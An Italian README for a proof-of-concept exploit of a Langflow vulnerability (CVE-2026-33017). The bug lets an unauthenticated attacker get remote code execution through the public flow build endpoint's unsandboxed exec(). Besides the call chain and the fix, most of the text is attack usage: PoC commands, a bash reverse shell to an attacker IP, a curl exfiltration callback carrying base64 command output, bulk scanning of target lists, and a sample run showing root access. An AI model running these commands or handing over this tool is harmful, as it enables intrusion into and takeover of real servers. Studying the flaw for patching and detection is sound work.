
CVE-2026-33017 - Esecuzione remota di codice non autenticata in Langflow <= 1.8.1 tramite Public Flow Build Endpoint
Solo per scopi educativi e test autorizzati.
Langflow <= 1.8.1 espone un endpoint pubblico di build dei flow che accetta dati di flow controllati dall'attaccante contenenti codice arbitrario. Questi dati vengono passati a prepare_global_scope() in validate.py, che chiama exec() senza sandbox, consentendo l'esecuzione remota di codice non autenticata con i privilegi del processo server.
| Pacchetto | Interessate | Corrette |
|---|---|---|
pip langflow | <= 1.8.1 | 1.9.0 |
L'endpoint build_public_tmp è intenzionalmente non autenticato — è progettato per consentire a chiunque di eseguire un flow pubblico memorizzato. Il difetto è che accetta anche un parametro opzionale data contenente definizioni di flow controllate dall'attaccante. Un utente non autenticato può quindi inviare codice di nodo arbitrario che il server tratta come un legittimo grafo di flow e passa direttamente alle routine di esecuzione del codice senza alcuna validazione.
La correzione è semplice: rimuovere il parametro data e forzare l'endpoint a chiamare esclusivamente build_graph_from_db(), così che i flow pubblici eseguano solo dati memorizzati e mai codice fornito dall'attaccante.
Il payload dell'attaccante attraversa la seguente catena di chiamate prima di raggiungere l'esecuzione:
prepare_global_scope() in validate.py elabora i nodi ast.Assign durante la compilazione del grafo — prima che qualsiasi metodo del flow venga invocato. Un'assegnazione a livello superiore nel codice iniettato viene quindi eseguita immediatamente:
_r = __import__('os').system("whoami") # viene eseguita in fase di compilazione, non a runtime del flow
L'output viene inviato allo stdout del server, non alla risposta HTTP. L'esfiltrazione richiede un callback verso l'esterno (reverse shell, curl verso un webhook).
| Endpoint | Autenticazione | Vettore d'attacco |
|---|---|---|
POST /api/v1/build_public_tmp/{flow_id}/flow | Nessuna | Remoto, non autenticato |
| Scenario | Requisito |
|---|---|
| A — AUTO_LOGIN abilitato | AUTO_LOGIN=true: ottenere un token JWT anonimamente, creare un flow PUBLICO, sfruttare |
| B — Flow pubblico noto | L'UUID di un flow condiviso/pubblico è noto: sfruttare direttamente, nessuna autenticazione richiesta |
pip install requests
python3 poc.py --url http://target:7860 --cmd "id"
Importante: Il PoC usa
os.system()a livello di modulo — il comando viene eseguito sul server ma il suo output va allo stdout del server, non alla risposta HTTP. Il PoC conferma solo che l'esecuzione è avvenuta ([+] VULNERABLE). Per ricevere effettivamente l'output del comando, usa uno dei metodi di esfiltrazione seguenti.
Conferma cieca (verifica la RCE senza catturare l'output)
python3 poc.py --url http://target:7860 --cmd "id"
Reverse shell — con listener locale
# 1. Avvia un listener sulla tua macchina
nc -lvnp 4444
# 2. Invia la reverse shell
python3 poc.py --url http://target:7860 --cmd "bash -c 'bash -i >& /dev/tcp/10.10.14.1/4444 0>&1'"
Esfiltrazione OOB tramite callback HTTP — con server locale
# 1. Avvia un server HTTP locale
python3 -m http.server 8080
# 2. Esfiltra l'output tramite callback curl
python3 poc.py --url http://target:7860 --cmd "curl http://10.10.14.1:8080/\$(id | base64 -w0)"
Con un UUID di flow pubblico noto (nessuna creazione del flow necessaria)
python3 poc.py --url http://target:7860 --cmd "id" --flow-id <flow-uuid>
Scansione bulk da file
python3 poc.py --url-file targets.txt --cmd "id" --threads 10
Il PoC conferma che l'esecuzione è avvenuta. [+] VULNERABLE significa che la build è riuscita e il codice iniettato è stato eseguito — non significa che l'output sia stato catturato.
============================================================
CVE-2026-33017 — Langflow RCE PoC
============================================================
Targets : 1
Command : curl http://10.10.14.1:8080/$(id | base64 -w0)
Threads : 5 | Timeout : 15s
============================================================
[http://target:7860] auth: JWT token obtained
[http://target:7860] flow: created (3f2a1b4c-...)
[http://target:7860] [+] VULNERABLE — RCE executed
[http://target:7860] flow: deleted (3f2a1b4c-...)
============================================================
SUMMARY
============================================================
[+] http://target:7860 VULNERABLE
============================================================
1/1 target(s) vulnerable
Output ricevuto dal server HTTP locale:
10.10.14.1 - - "GET /dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCk= HTTP/1.1" 200 -
# base64 -d → uid=0(root) gid=0(root) groups=0(root)
exec() su /api/v1/validate/code| Passo | File | Dettaglio |
|---|
| 1 | chat.py:580 | build_public_tmp riceve i dati dell'attaccante nel corpo della richiesta |
| 2 | build.py:81 | start_flow_build() inoltra il payload non attendibile |
| 3 | build.py:298 | build_graph_from_data() lo passa alla costruzione del grafo |
| 4 | base.py:1168 | Graph.from_payload() deserializza le definizioni dei nodi fornite dall'attaccante |
| 5 | base.py:1323 | instantiate_component() viene chiamata per ogni nodo |
| 6 | loading.py:43 | Il campo code viene estratto dai parametri del componente personalizzato |
| 7 | eval.py:9 | create_class() riceve il codice arbitrario dell'attaccante |
| 8 | validate.py:397 | exec(compiled_code, exec_globals) — nessuna sandbox |
| Flag | Default | Descrizione |
|---|
--url | — | URL singolo di Langflow target |
--url-file | — | File di testo con un URL per riga (scansione bulk) |
--cmd | id | Comando del sistema operativo da eseguire sul target |
--flow-id | — | UUID di un flow pubblico esistente (salta la creazione del flow) |
--threads | 5 | Numero di thread paralleli per la modalità bulk |
--timeout | 15 | Timeout delle richieste HTTP in secondi |
--no-cleanup | false | Mantiene il flow creato dopo lo sfruttamento |